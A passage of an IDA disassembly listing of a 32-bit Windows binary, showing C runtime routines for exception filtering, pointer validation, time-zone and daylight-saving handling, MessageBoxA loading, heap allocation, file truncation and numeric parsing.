sub_4247A8 test eax, eax pop ecx jz short loc_42474C push esi call dword_4DBB60 jmp short loc_42474E ; --------------------------------------------------------------------------- loc_42474C: ; CODE XREF: sub_42470C+2Aj ; sub_42470C+35j xor eax, eax loc_42474E: ; CODE XREF: sub_42470C+3Ej pop esi retn 4 sub_42470C endp ; =============== S U B R O U T I N E ======================================= sub_424752 proc near ; DATA XREF: .packed:00429028o push offset sub_42470C call dword_42701C ; SetUnhandledExceptionFilter mov dword_4DBB60, eax retn sub_424752 endp ; =============== S U B R O U T I N E ======================================= sub_424763 proc near ; DATA XREF: .packed:00429040o push dword_4DBB60 call dword_42701C ; SetUnhandledExceptionFilter retn sub_424763 endp ; =============== S U B R O U T I N E ======================================= sub_424770 proc near ; CODE XREF: sub_421DB1+6Bp ; sub_4222C2+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call dword_427018 ; IsBadReadPtr test eax, eax jz short loc_424788 xor esi, esi loc_424788: ; CODE XREF: sub_424770+14j mov eax, esi pop esi retn sub_424770 endp ; =============== S U B R O U T I N E ======================================= sub_42478C proc near ; CODE XREF: sub_4222C2+73p ; sub_4222C2+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call dword_4271C8 ; IsBadWritePtr test eax, eax jz short loc_4247A4 xor esi, esi loc_4247A4: ; CODE XREF: sub_42478C+14j mov eax, esi pop esi retn sub_42478C endp ; =============== S U B R O U T I N E ======================================= sub_4247A8 proc near ; CODE XREF: sub_4222C2+15Bp ; sub_42470C+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] call dword_427014 ; IsBadCodePtr test eax, eax jz short loc_4247BC xor esi, esi loc_4247BC: ; CODE XREF: sub_4247A8+10j mov eax, esi pop esi retn sub_4247A8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42255C loc_4247C0: ; CODE XREF: sub_42255C:loc_4225ADj push 0Ah call sub_4235C9 push 16h call sub_425955 pop ecx pop ecx push 3 call sub_41B7C2 ; END OF FUNCTION CHUNK FOR sub_42255C ; =============== S U B R O U T I N E ======================================= sub_4247D7 proc near ; CODE XREF: sub_422669:loc_4226A8p cmp dword_4DBC20, 0 jnz short locret_4247EB call sub_4247EC inc dword_4DBC20 locret_4247EB: ; CODE XREF: sub_4247D7+7j retn sub_4247D7 endp ; =============== S U B R O U T I N E ======================================= sub_4247EC proc near ; CODE XREF: sub_4247D7+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_4DBB68, ebp mov dword_43D410, ebx mov dword_43D400, ebx call sub_425AC7 mov esi, eax pop ecx cmp esi, ebp jnz loc_424915 push offset dword_4DBB70 call dword_4271A0 ; GetTimeZoneInformation cmp eax, ebx jz loc_424A44 mov eax, dword_4DBB70 mov ecx, dword_4DBBC4 imul eax, 3Ch cmp word_4DBBB6, bp push 1 pop edx mov dword_43D368, eax mov dword_4DBB68, edx jz short loc_424863 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_43D368, eax loc_424863: ; CODE XREF: sub_4247EC+69j cmp word_4DBC0A, bp jz short loc_424887 mov eax, dword_4DBC18 cmp eax, ebp jz short loc_424887 sub eax, ecx mov dword_43D36C, edx imul eax, 3Ch mov dword_43D370, eax jmp short loc_424893 ; --------------------------------------------------------------------------- loc_424887: ; CODE XREF: sub_4247EC+7Ej ; sub_4247EC+87j mov dword_43D36C, ebp mov dword_43D370, ebp loc_424893: ; CODE XREF: sub_4247EC+99j lea eax, [esp+14h+var_4] mov esi, dword_42717C push eax push ebp push 3Fh mov edi, 220h push off_43D3F4 push ebx push offset dword_4DBB74 push edi push dword_4DBA04 call esi ; WideCharToMultiByte test eax, eax jz short loc_4248D0 cmp [esp+14h+var_4], ebp jnz short loc_4248D0 mov eax, off_43D3F4 and byte ptr [eax+3Fh], 0 jmp short loc_4248D8 ; --------------------------------------------------------------------------- loc_4248D0: ; CODE XREF: sub_4247EC+D1j ; sub_4247EC+D7j mov eax, off_43D3F4 and byte ptr [eax], 0 loc_4248D8: ; CODE XREF: sub_4247EC+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_43D3F8 push ebx push offset dword_4DBBC8 push edi push dword_4DBA04 call esi ; WideCharToMultiByte test eax, eax jz loc_424A3C cmp [esp+14h+var_4], ebp jnz loc_424A3C mov eax, off_43D3F8 and byte ptr [eax+3Fh], 0 jmp loc_424A44 ; --------------------------------------------------------------------------- loc_424915: ; CODE XREF: sub_4247EC+2Dj cmp byte ptr [esi], 0 jz loc_424A44 mov eax, dword_4DBC1C cmp eax, ebp jz short loc_424938 push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_424A44 loc_424938: ; CODE XREF: sub_4247EC+139j push dword_4DBC1C call sub_41B0B1 push esi call sub_41AFE0 inc eax push eax call sub_41B4D5 add esp, 0Ch cmp eax, ebp mov dword_4DBC1C, eax jz loc_424A44 push esi push eax call sub_41BEB0 push 3 push esi push off_43D3F4 call sub_41B5F0 mov eax, off_43D3F4 add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_42498D push 1 inc esi pop edi loc_42498D: ; CODE XREF: sub_4247EC+19Bj push esi call sub_41B6EE pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_43D368, ecx loc_4249A4: ; CODE XREF: sub_4247EC+1C7j mov al, [esi] cmp al, 2Bh jz short loc_4249B2 cmp al, bl jl short loc_4249B5 cmp al, 39h jg short loc_4249B5 loc_4249B2: ; CODE XREF: sub_4247EC+1BCj inc esi jmp short loc_4249A4 ; --------------------------------------------------------------------------- loc_4249B5: ; CODE XREF: sub_4247EC+1C0j ; sub_4247EC+1C4j cmp byte ptr [esi], 3Ah jnz short loc_424A08 inc esi push esi call sub_41B6EE imul eax, 3Ch pop ecx mov ecx, dword_43D368 add ecx, eax mov dword_43D368, ecx loc_4249D3: ; CODE XREF: sub_4247EC+1F2j mov al, [esi] cmp al, bl jl short loc_4249E0 cmp al, 39h jg short loc_4249E0 inc esi jmp short loc_4249D3 ; --------------------------------------------------------------------------- loc_4249E0: ; CODE XREF: sub_4247EC+1EBj ; sub_4247EC+1EFj cmp byte ptr [esi], 3Ah jnz short loc_424A08 inc esi push esi call sub_41B6EE pop ecx mov ecx, dword_43D368 add ecx, eax mov dword_43D368, ecx loc_4249FB: ; CODE XREF: sub_4247EC+21Aj mov al, [esi] cmp al, bl jl short loc_424A08 cmp al, 39h jg short loc_424A08 inc esi jmp short loc_4249FB ; --------------------------------------------------------------------------- loc_424A08: ; CODE XREF: sub_4247EC+1CCj ; sub_4247EC+1F7j ... cmp edi, ebp jz short loc_424A14 neg ecx mov dword_43D368, ecx loc_424A14: ; CODE XREF: sub_4247EC+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_43D36C, eax jz short loc_424A3C push 3 push esi push off_43D3F8 call sub_41B5F0 mov eax, off_43D3F8 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_424A44 ; --------------------------------------------------------------------------- loc_424A3C: ; CODE XREF: sub_4247EC+10Bj ; sub_4247EC+115j ... mov eax, off_43D3F8 and byte ptr [eax], 0 loc_424A44: ; CODE XREF: sub_4247EC+40j ; sub_4247EC+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_4247EC endp ; =============== S U B R O U T I N E ======================================= sub_424A4A proc near ; CODE XREF: sub_422669+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_43D36C, edi jnz short loc_424A5E loc_424A57: ; CODE XREF: sub_424A4A+148j ; sub_424A4A+150j ... xor eax, eax jmp loc_424BAA ; --------------------------------------------------------------------------- loc_424A5E: ; CODE XREF: sub_424A4A+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_43D400 jnz short loc_424A7C cmp eax, dword_43D410 jz loc_424B7E loc_424A7C: ; CODE XREF: sub_424A4A+24j cmp dword_4DBB68, edi jz loc_424B54 movzx ecx, word_4DBC16 push ecx cmp word_4DBC08, di movzx ecx, word_4DBC14 push ecx movzx ecx, word_4DBC12 push ecx movzx ecx, word_4DBC10 push ecx jnz short loc_424ACE movzx ecx, word_4DBC0C push edi push ecx movzx ecx, word_4DBC0E push ecx movzx ecx, word_4DBC0A push ecx push eax push ebx jmp short loc_424AE2 ; --------------------------------------------------------------------------- loc_424ACE: ; CODE XREF: sub_424A4A+65j movzx ecx, word_4DBC0E push ecx push edi movzx ecx, word_4DBC0A push edi push ecx push eax push edi loc_424AE2: ; CODE XREF: sub_424A4A+82j push ebx call sub_424BF6 movzx eax, word_4DBBC2 add esp, 2Ch cmp word_4DBBB4, di push eax movzx eax, word_4DBBC0 push eax movzx eax, word_4DBBBE push eax movzx eax, word_4DBBBC push eax jnz short loc_424B3C movzx eax, word_4DBBB8 push edi push eax movzx eax, word_4DBBBA push eax movzx eax, word_4DBBB6 push eax push dword ptr [esi+14h] push ebx loc_424B31: ; CODE XREF: sub_424A4A+108j push edi call sub_424BF6 add esp, 2Ch jmp short loc_424B7E ; --------------------------------------------------------------------------- loc_424B3C: ; CODE XREF: sub_424A4A+C8j movzx eax, word_4DBBBA push eax push edi movzx eax, word_4DBBB6 push edi push eax push dword ptr [esi+14h] push edi jmp short loc_424B31 ; --------------------------------------------------------------------------- loc_424B54: ; CODE XREF: sub_424A4A+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_424BF6 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_424BF6 add esp, 58h loc_424B7E: ; CODE XREF: sub_424A4A+2Cj ; sub_424A4A+F0j mov edx, dword_43D404 mov eax, dword_43D414 mov ecx, [esi+1Ch] cmp edx, eax jge short loc_424BAE cmp ecx, edx jl loc_424A57 cmp ecx, eax jg loc_424A57 cmp ecx, edx jle short loc_424BC2 cmp ecx, eax jge short loc_424BC2 loc_424BA8: ; CODE XREF: sub_424A4A+166j ; sub_424A4A+16Aj mov eax, ebx loc_424BAA: ; CODE XREF: sub_424A4A+Fj ; sub_424A4A+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424BAE: ; CODE XREF: sub_424A4A+144j cmp ecx, eax jl short loc_424BA8 cmp ecx, edx jg short loc_424BA8 cmp ecx, eax jle short loc_424BC2 cmp ecx, edx jl loc_424A57 loc_424BC2: ; CODE XREF: sub_424A4A+158j ; sub_424A4A+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_424BE9 xor ecx, ecx cmp eax, dword_43D408 setnl cl loc_424BE5: ; CODE XREF: sub_424A4A+1AAj mov eax, ecx jmp short loc_424BAA ; --------------------------------------------------------------------------- loc_424BE9: ; CODE XREF: sub_424A4A+18Ej xor ecx, ecx cmp eax, dword_43D418 setl cl jmp short loc_424BE5 sub_424A4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424BF6 proc near ; CODE XREF: sub_424A4A+99p ; sub_424A4A+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_424C91 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_424C21 shl esi, 2 mov eax, dword_43D418[esi] jmp short loc_424C2A ; --------------------------------------------------------------------------- loc_424C21: ; CODE XREF: sub_424BF6+1Ej shl esi, 2 mov eax, dword_43D44C[esi] loc_424C2A: ; CODE XREF: sub_424BF6+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_424C64 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_424C6E ; --------------------------------------------------------------------------- loc_424C64: ; CODE XREF: sub_424BF6+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_424C6E: ; CODE XREF: sub_424BF6+6Cj cmp [ebp+arg_10], 5 jnz short loc_424CAC cmp [ebp+arg_8], 0 jnz short loc_424C82 mov esi, dword_43D41C[esi] jmp short loc_424C88 ; --------------------------------------------------------------------------- loc_424C82: ; CODE XREF: sub_424BF6+82j mov esi, dword_43D450[esi] loc_424C88: ; CODE XREF: sub_424BF6+8Aj cmp ecx, esi jle short loc_424CAC sub ecx, 7 jmp short loc_424CAC ; --------------------------------------------------------------------------- loc_424C91: ; CODE XREF: sub_424BF6+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_424CA2 mov ecx, dword_43D418[eax*4] jmp short loc_424CA9 ; --------------------------------------------------------------------------- loc_424CA2: ; CODE XREF: sub_424BF6+A1j mov ecx, dword_43D44C[eax*4] loc_424CA9: ; CODE XREF: sub_424BF6+AAj add ecx, [ebp+arg_18] loc_424CAC: ; CODE XREF: sub_424BF6+7Cj ; sub_424BF6+94j ... cmp [ebp+arg_0], 1 jnz short loc_424CDD mov eax, [ebp+arg_1C] mov dword_43D404, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_43D400, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43D408, eax jmp short loc_424D32 ; --------------------------------------------------------------------------- loc_424CDD: ; CODE XREF: sub_424BF6+BAj mov eax, [ebp+arg_1C] mov dword_43D414, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_43D370 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43D418, eax jns short loc_424D15 add eax, 5265C00h dec ecx mov dword_43D418, eax jmp short loc_424D26 ; --------------------------------------------------------------------------- loc_424D15: ; CODE XREF: sub_424BF6+110j mov edx, 5265C00h cmp eax, edx jl short loc_424D2C sub eax, edx inc ecx mov dword_43D418, eax loc_424D26: ; CODE XREF: sub_424BF6+11Dj mov dword_43D414, ecx loc_424D2C: ; CODE XREF: sub_424BF6+126j mov dword_43D410, ebx loc_424D32: ; CODE XREF: sub_424BF6+E5j pop esi pop ebx pop ebp retn sub_424BF6 endp ; =============== S U B R O U T I N E ======================================= sub_424D36 proc near ; CODE XREF: sub_422E72+2Bp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_424D47 add esp, 0Ch retn sub_424D36 endp ; =============== S U B R O U T I N E ======================================= sub_424D47 proc near ; CODE XREF: sub_424D36+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4DCEA1[eax], cl jnz short loc_424D74 cmp [esp+arg_4], 0 jz short loc_424D6D movzx eax, word_43C9C2[eax*2] and eax, [esp+arg_4] jmp short loc_424D6F ; --------------------------------------------------------------------------- loc_424D6D: ; CODE XREF: sub_424D47+16j xor eax, eax loc_424D6F: ; CODE XREF: sub_424D47+24j test eax, eax jnz short loc_424D74 retn ; --------------------------------------------------------------------------- loc_424D74: ; CODE XREF: sub_424D47+Fj ; sub_424D47+2Aj push 1 pop eax retn sub_424D47 endp ; =============== S U B R O U T I N E ======================================= sub_424D78 proc near ; CODE XREF: sub_4235C9+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4DBC24, ebx push esi push edi jnz short loc_424DC7 push offset aUser32_dll ; "user32.dll" call dword_4270B8 ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_424DFD mov esi, dword_4270BC push offset aMessageboxa ; "MessageBoxA" push edi call esi ; GetProcAddress test eax, eax mov dword_4DBC24, eax jz short loc_424DFD push offset aGetactivewindo ; "GetActiveWindow" push edi call esi ; GetProcAddress push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4DBC28, eax call esi ; GetProcAddress mov dword_4DBC2C, eax loc_424DC7: ; CODE XREF: sub_424D78+Bj mov eax, dword_4DBC28 test eax, eax jz short loc_424DE6 call eax mov ebx, eax test ebx, ebx jz short loc_424DE6 mov eax, dword_4DBC2C test eax, eax jz short loc_424DE6 push ebx call eax mov ebx, eax loc_424DE6: ; CODE XREF: sub_424D78+56j ; sub_424D78+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4DBC24 loc_424DF9: ; CODE XREF: sub_424D78+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424DFD: ; CODE XREF: sub_424D78+1Cj ; sub_424D78+33j xor eax, eax jmp short loc_424DF9 sub_424D78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424E01 proc near ; CODE XREF: sub_423936+22p ; sub_423936+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_424E22 test esi, esi jnz short loc_424E1C push 1 pop esi loc_424E1C: ; CODE XREF: sub_424E01+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_424E22: ; CODE XREF: sub_424E01+12j ; sub_424E01+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_424E81 mov eax, dword_4DCFC8 cmp eax, 3 jnz short loc_424E4D mov eax, [ebp+arg_0] cmp eax, dword_4DCFC0 ja short loc_424E6C push eax call sub_41E1CB mov edi, eax pop ecx test edi, edi jnz short loc_424E97 jmp short loc_424E6C ; --------------------------------------------------------------------------- loc_424E4D: ; CODE XREF: sub_424E01+30j cmp eax, 2 jnz short loc_424E6C cmp esi, dword_43C9B4 ja short loc_424E6C mov eax, esi shr eax, 4 push eax call sub_41EC6E mov edi, eax pop ecx test edi, edi jnz short loc_424EAB loc_424E6C: ; CODE XREF: sub_424E01+3Bj ; sub_424E01+4Aj ... push esi push 8 push dword_4DCFC4 call dword_427144 ; RtlAllocateHeap mov edi, eax test edi, edi jnz short loc_424EA5 loc_424E81: ; CODE XREF: sub_424E01+26j cmp dword_4DB9BC, 0 jz short loc_424EA5 push esi call sub_41F312 test eax, eax pop ecx jz short loc_424EAE jmp short loc_424E22 ; --------------------------------------------------------------------------- loc_424E97: ; CODE XREF: sub_424E01+48j push [ebp+arg_0] loc_424E9A: ; CODE XREF: sub_424E01+ABj push 0 push edi call sub_41B590 add esp, 0Ch loc_424EA5: ; CODE XREF: sub_424E01+7Ej ; sub_424E01+87j mov eax, edi loc_424EA7: ; CODE XREF: sub_424E01+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_424EAB: ; CODE XREF: sub_424E01+69j push esi jmp short loc_424E9A ; --------------------------------------------------------------------------- loc_424EAE: ; CODE XREF: sub_424E01+92j xor eax, eax jmp short loc_424EA7 sub_424E01 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4239DB loc_424EB2: ; CODE XREF: sub_4239DB+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4DCC60, esi jle short loc_424F05 loc_424EC1: ; CODE XREF: sub_4239DB+1528j mov eax, dword_4DBC58 mov eax, [eax+esi*4] test eax, eax jz short loc_424EFC test byte ptr [eax+0Ch], 83h jz short loc_424EE0 push eax call sub_41B05B cmp eax, 0FFFFFFFFh pop ecx jz short loc_424EE0 inc edi loc_424EE0: ; CODE XREF: sub_4239DB+14F6j ; sub_4239DB+1502j cmp esi, 14h jl short loc_424EFC mov eax, dword_4DBC58 push dword ptr [eax+esi*4] call sub_41B0B1 mov eax, dword_4DBC58 pop ecx and dword ptr [eax+esi*4], 0 loc_424EFC: ; CODE XREF: sub_4239DB+14F0j ; sub_4239DB+1508j inc esi cmp esi, dword_4DCC60 jl short loc_424EC1 loc_424F05: ; CODE XREF: sub_4239DB+14E4j mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_4239DB ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424F0A proc near ; CODE XREF: sub_423A33+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_41BB20 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4DCD80 jnb loc_42503F mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DCC80[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_42503F push 1 push esi push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_425049 push 2 push esi push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_425049 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_424FEC push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_41B590 push 8000h push ebx call sub_425B44 add esp, 14h mov [ebp+arg_4], eax loc_424FA0: ; CODE XREF: sub_424F0A+BDj mov eax, 1000h cmp edi, eax jge short loc_424FAB mov eax, edi loc_424FAB: ; CODE XREF: sub_424F0A+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_42291D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_424FC9 sub edi, eax test edi, edi jle short loc_424FDF jmp short loc_424FA0 ; --------------------------------------------------------------------------- loc_424FC9: ; CODE XREF: sub_424F0A+B5j cmp dword_4DB93C, 5 jnz short loc_424FDC mov dword_4DB938, 0Dh loc_424FDC: ; CODE XREF: sub_424F0A+C6j or esi, 0FFFFFFFFh loc_424FDF: ; CODE XREF: sub_424F0A+BBj push [ebp+arg_4] push ebx call sub_425B44 pop ecx pop ecx jmp short loc_42502C ; --------------------------------------------------------------------------- loc_424FEC: ; CODE XREF: sub_424F0A+71j jge short loc_42502C push 0 push [ebp+arg_4] push ebx call sub_42272B push ebx call sub_4238A2 add esp, 10h push eax call dword_427010 ; SetEndOfFile mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_42502C mov dword_4DB938, 0Dh call dword_42708C ; RtlGetLastWin32Error mov dword_4DB93C, eax loc_42502C: ; CODE XREF: sub_424F0A+E0j ; sub_424F0A:loc_424FECj ... push 0 push [ebp+arg_0] push ebx call sub_42272B add esp, 0Ch mov eax, esi pop edi jmp short loc_42504C ; --------------------------------------------------------------------------- loc_42503F: ; CODE XREF: sub_424F0A+1Aj ; sub_424F0A+36j mov dword_4DB938, 9 loc_425049: ; CODE XREF: sub_424F0A+4Ej ; sub_424F0A+63j or eax, 0FFFFFFFFh loc_42504C: ; CODE XREF: sub_424F0A+133j pop esi pop ebx leave retn sub_424F0A endp ; =============== S U B R O U T I N E ======================================= sub_425050 proc near ; CODE XREF: sub_4241CF+2Bp ; sub_4241CF+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_425066 cmp ecx, esi jnb short loc_425069 loc_425066: ; CODE XREF: sub_425050+10j push 1 pop eax loc_425069: ; CODE XREF: sub_425050+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_425050 endp ; =============== S U B R O U T I N E ======================================= sub_425071 proc near ; CODE XREF: sub_42512A+40p ; sub_42512A+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250A3 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250A3 inc dword ptr [esi+8] loc_4250A3: ; CODE XREF: sub_425071+19j ; sub_425071+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250BB inc dword ptr [esi+8] loc_4250BB: ; CODE XREF: sub_425071+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_425050 add esp, 0Ch pop edi pop esi retn sub_425071 endp ; =============== S U B R O U T I N E ======================================= sub_4250CF proc near ; CODE XREF: sub_42512A+30p ; sub_42512A+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_4250CF endp ; =============== S U B R O U T I N E ======================================= sub_4250FD proc near ; CODE XREF: sub_4256C2+1C8p ; sub_425BBA+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_4250FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42512A proc near ; CODE XREF: sub_4251F1+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_42519E push edi mov [ebp+arg_8], eax loc_425151: ; CODE XREF: sub_42512A+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_4250CF push ebx call sub_4250CF lea eax, [ebp+var_10] push eax push ebx call sub_425071 push ebx call sub_4250CF mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_425071 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_425151 xor edx, edx pop edi loc_42519E: ; CODE XREF: sub_42512A+21j ; sub_42512A+9Fj cmp [ebx+8], edx jnz short loc_4251CB mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_42519E ; --------------------------------------------------------------------------- loc_4251CB: ; CODE XREF: sub_42512A+77j mov esi, 8000h loc_4251D0: ; CODE XREF: sub_42512A+B9j test [ebx+8], esi jnz short loc_4251E5 push ebx call sub_4250CF add [ebp+var_4], 0FFFFh pop ecx jmp short loc_4251D0 ; --------------------------------------------------------------------------- loc_4251E5: ; CODE XREF: sub_42512A+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_42512A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4251F1 proc near ; CODE XREF: sub_424518+17p ; sub_424545+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_42522C: ; CODE XREF: sub_4251F1+52j mov cl, [edi] cmp cl, 20h jz short loc_425242 cmp cl, 9 jz short loc_425242 cmp cl, 0Ah jz short loc_425242 cmp cl, 0Dh jnz short loc_425245 loc_425242: ; CODE XREF: sub_4251F1+40j ; sub_4251F1+45j ... inc edi jmp short loc_42522C ; --------------------------------------------------------------------------- loc_425245: ; CODE XREF: sub_4251F1+4Fj push 4 pop esi loc_425248: ; CODE XREF: sub_4251F1+AEj ; 